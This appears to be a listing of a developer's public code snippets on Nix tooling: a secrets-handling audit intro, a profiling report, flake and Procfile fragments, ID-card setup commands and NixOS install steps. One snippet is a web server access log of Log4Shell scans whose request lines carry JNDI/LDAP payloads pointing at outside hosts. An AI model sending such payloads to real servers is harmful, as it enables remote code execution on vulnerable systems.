domenkozar

How NixOS modules deliver secrets: a full classification

An audit of every NixOS module in nixpkgs that handles a real secret, classified by where the secret value ends up. The question behind it: does the secret get mixed into a configuration file, or kept separate?

• Source: NixOS/nixpkgs at commit 141f212 (2026-07-20)
• Scope: nixos/modules, 2,436 module files
• Modules that handle a real secret: 445
• Method: pattern scan for secret-bearing options, then per-file reading to trace each secret from its option to its final destination. False positives (boolean toggles, hashes safe to store) were removed.

Summary

domenkozar

Snix Performance Analysis Report

Executive Summary

This performance analysis is based on profiling data from the Snix Nix evaluator. The profile contains approximately 2.6 billion samples across 769 unique stack traces. The analysis reveals that the majority of CPU time is spent in VM execution and thunk evaluation, with significant overhead from memory operations and data structure management.

Component Breakdown

Component	Samples	Percentage	Description

domenkozar

let
  assertTimestamps = result:
      builtins.removeAttrs result ["lastModified" "lastModifiedDate"];
in [
  # Git - Basic
  (assertTimestamps (builtins.fetchTree {
    type = "git";
    url = "https://github.com/octocat/Hello-World.git";
  }))

domenkozar

Sample flask using devenv.sh and fly.io for deployments

Development

$ devenv up

Deployment

$ deploy

domenkozar

{

  inputs.nixpkgs-terraform-providers-bin.url = github:nix-community/nixpkgs-terraform-providers-bin;

  outputs = { nixpkgs-terraform-providers-bin, nixpkgs, ... }: {
    defaultPackage.x86_64-linux =
     let
       pkgs = import nixpkgs { system = "x86_64-linux"; };
       providers = 
         nixpkgs-terraform-providers-bin.legacyPackages."x86_64-linux".providers;

domenkozar

"12/Dec/2021:00:48:04 +0000" status=404 host=34.205.214.246 request="GET /$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" request_length=184 client=143.198.183.66 bytes_sent=294 body_bytes_sent=146 referer=- user_agent="Kryptos Logic Telltale" upstream_addr=- upstream_status=- request_time=0.000 upstream_response_time=- upstream_connect_time=- upstream_header_time=-
"12/Dec/2021:19:12:58 +0000" status=404 host=34.205.214.246 request="GET /$%7Bjndi:ldap://45.83.193.150:1389/Exploit%7D HTTP/1.1" request_length=156 client=195.201.175.217 bytes_sent=294 body_bytes_sent=146 referer=- user_agent="Mozilla/5.0 zgrab/0.x" upstream_addr=- upstream_status=- request_time=0.000 upstream_response_time=- upstream_connect_time=- upstream_header_time=-
"12/Dec/2021:22:33:06 +0000" status=404 host=cachix.org request="GET /$%7Bjndi:ldap://6c6889d27e144104a5a1.y.psc4fuel.com/7tD39.class%7D HTTP/1.1" request_length=678 client=172.69.62.102 bytes_sent=696 body_bytes_sent=548 referer=- user_agent=

domenkozar

wget -O ESTEID-SK_2015.pem.crt https://www.sk.ee/upload/files/ESTEID-SK_2015.pem.crt
nix-shell -p nssTools --run "certutil -d sql:$HOME/.pki/nssdb -A -t ",," -n "ESTEID-SK_2015" -i ESTEID-SK_2015.pem.crt"
nix-shell -p nssTools --run "modutil -force -dbdir sql:$HOME/.pki/nssdb -delete opensc-pkcs11"
nix-shell -p nssTools --run "modutil -force -dbdir sql:$HOME/.pki/nssdb -add opensc-pkcs11 -libfile $(nix-build -A opensc '<nixpkgs>' --no-out-link)/lib/onepin-opensc-pkcs11.so -mechanisms FRIENDLY"
mkdir -p ~/.config/chromium/NativeMessagingHosts
cp $(nix-build -A chrome-token-signing '<nixpkgs>')/etc/chromium/native-messaging-hosts/ee.ria.esteid.json ~/.config/chromium/NativeMessagingHosts/ee.ria.esteid.json

domenkozar

postgresql: docker run --rm --name postgres -p 5432:5432 -e POSTGRES_PASSWORD=$POSTGRES_PASSWORD -v $PWD/nix/postgres-data:/var/lib/postgresql/data postgres:13
backend: cd backend && ghcid --command "(stack build && stack --no-install-ghc --system-ghc --nix repl --load --ghci-options=-fbyte-code --no-nix-pure cachix-server:exe:cachix-server cachix-server:lib)" --test Main.main --restart stack.yaml --restart cachix-server.cabal --restart schema.sql --setup ":set args serve dev.dhall" --warnings
frontend: cd frontend && nix-shell --run "yarn serve"
ngrok: ngrok start --all --config ngrok.yml --config ~/.ngrok2/ngrok.yml

domenkozar

/nix/store/cr7dm5yyli04aldn43l2j42alh8k9b01-cachix-frontend-node-packages/libexec/cachix-frontend/node_modules/@parcel/core/lib/Parcel.js:149
  #requestTracker
  ^

SyntaxError: Invalid or unexpected token
    at new Script (vm.js:83:7)
    at NativeCompileCache._moduleCompile (/nix/store/cr7dm5yyli04aldn43l2j42alh8k9b01-cachix-frontend-node-packages/libexec/cachix-frontend/node_modules/v8-compile-cache/v8-compile-cache.js:240:18)
    at Module._compile (/nix/store/cr7dm5yyli04aldn43l2j42alh8k9b01-cachix-frontend-node-packages/libexec/cachix-frontend/node_modules/v8-compile-cache/v8-compile-cache.js:184:36)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:789:10)
    at Module.load (internal/modules/cjs/loader.js:653:32)

domenkozar

wpa_supplicant -B -i interface -c <(wpa_passphrase 'SSID' 'key').

ping 1.1.1.1

parted /dev/nvme0n1 -- mklabel gpt
parted /dev/nvme0n1 -- mkpart primary 512MiB -0
parted /dev/nvme0n1 -- mkpart ESP fat32 1MiB 512MiB
parted /dev/nvme0n1 -- set 2 esp on

cryptsetup luksFormat /dev/nvme0n1p1